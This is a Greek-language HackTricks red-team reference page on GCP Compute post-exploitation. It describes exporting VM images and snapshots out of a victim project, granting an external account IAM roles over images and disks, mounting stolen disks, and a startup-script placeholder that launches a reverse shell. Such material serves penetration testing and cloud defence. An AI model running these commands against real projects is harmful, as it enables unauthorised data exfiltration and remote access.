GCP - Compute Post Exploitation

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Compute

Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (Networking) ελέγξτε:

pageGCP - Compute Enum

Εξαγωγή & Επιθεώρηση Εικόνων τοπικά

Αυτό θα επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση στα δεδομένα που περιέχονται σε ήδη υπάρχουσες εικόνες ή να δημιουργήσει νέες εικόνες εκτελούμενων VMs και να έχει πρόσβαση στα δεδομένα τους χωρίς να έχει πρόσβαση στο εκτελούμενο VM.

Είναι δυνατόν να εξαχθεί μια εικόνα VM σε ένα bucket και στη συνέχεια να την κατεβάσετε και να την προσαρτήσετε τοπικά με την εντολή:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Για να εκτελεστεί αυτή η ενέργεια, ο επιτιθέμενος μπορεί να χρειαστεί δικαιώματα πάνω στον αποθηκευτικό κάδο και σίγουρα δικαιώματα πάνω στο cloudbuild καθώς είναι το service που θα ζητηθεί να εκτελέσει την εξαγωγή. Επιπλέον, για να λειτουργήσει αυτό, ο λογαριασμός cloudbuild SA και ο λογαριασμός compute SA χρειάζονται προνομιούχες άδειες. Ο λογαριασμός cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com χρειάζεται:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Και ο λογαριασμός SA <project-id>-compute@developer.gserviceaccount.com χρειάζεται:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Εξαγωγή και επιθεώρηση Snapshots & Disks τοπικά

Δεν είναι δυνατή η άμεση εξαγωγή snapshots και δίσκων, αλλά είναι δυνατό να μετατραπεί ένα snapshot σε έναν δίσκο, ένας δίσκος σε μια εικόνα και ακολουθώντας την προηγούμενη ενότητα, να εξαχθεί αυτή η εικόνα για επιθεώρηση τοπικά.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Επιθεώρηση ενός εικόνας δημιουργώντας ένα VM

Με σκοπό την πρόσβαση στα δεδομένα που αποθηκεύονται σε μια εικόνα ή μέσα σε ένα εκτελούμενο VM από όπου ένας επιτιθέμενος έχει δημιουργήσει μια εικόνα, είναι δυνατό να παραχωρηθεί πρόσβαση σε έναν εξωτερικό λογαριασμό πάνω στην εικόνα:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

και στη συνέχεια δημιουργήστε ένα νέο VM από αυτό:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Εάν δεν μπορείτε να δώσετε πρόσβαση στον εξωτερικό σας λογαριασμό στην εικόνα, μπορείτε να ξεκινήσετε έναν εικονικό υπολογιστή (VM) χρησιμοποιώντας αυτήν την εικόνα στο έργο του θύματος και να κάνετε τα μεταδεδομένα να εκτελέσουν ένα αντίστροφο κέλυφος (reverse shell) για να αποκτήσετε πρόσβαση στην εικόνα προσθέτοντας την παράμετρο:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Επιθεώρηση ενός Snapshot/Disk προσαρτώντας το σε ένα VM

Με σκοπό την πρόσβαση στα δεδομένα που αποθηκεύονται σε ένα δίσκο ή ένα snapshot, μπορείτε να μετατρέψετε το snapshot σε δίσκο, τον δίσκο σε εικόνα και να ακολουθήσετε τα προηγούμενα βήματα.

Ή μπορείτε να χορηγήσετε πρόσβαση σε έναν εξωτερικό λογαριασμό στον δίσκο (αν η αρχική κατάσταση είναι ένα snapshot, χορηγήστε πρόσβαση στο snapshot ή δημιουργήστε έναν δίσκο από αυτόν):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Συνδέστε το δίσκο σε μια εικονική μηχανή:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Τοποθετήστε το δίσκο μέσα στην εικονική μηχανή (VM):

  1. Συνδεθείτε με SSH στην VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Αναγνωρίστε τον δίσκο: Μόλις βρεθείτε μέσα στην VM, αναγνωρίστε τον νέο δίσκο από τη λίστα των συσκευών δίσκου. Συνήθως, μπορείτε να τον βρείτε ως /dev/sdb, /dev/sdc, κλπ.

  2. Μορφοποιήστε και τοποθετήστε τον δίσκο (αν είναι νέος ή ακατέργαστος δίσκος):

  • Δημιουργήστε ένα σημείο προσάρτησης:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Προσαρτήστε τον δίσκο:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Εάν δεν μπορείτε να δώσετε πρόσβαση σε ένα εξωτερικό έργο στο αντίγραφο ασφαλείας ή τον δίσκο, μπορεί να χρειαστεί να εκτελέσετε αυτές τις ενέργειες μέσα σε μια εικονική μηχανή στο ίδιο έργο με το αντίγραφο ασφαλείας/δίσκο.

Last updated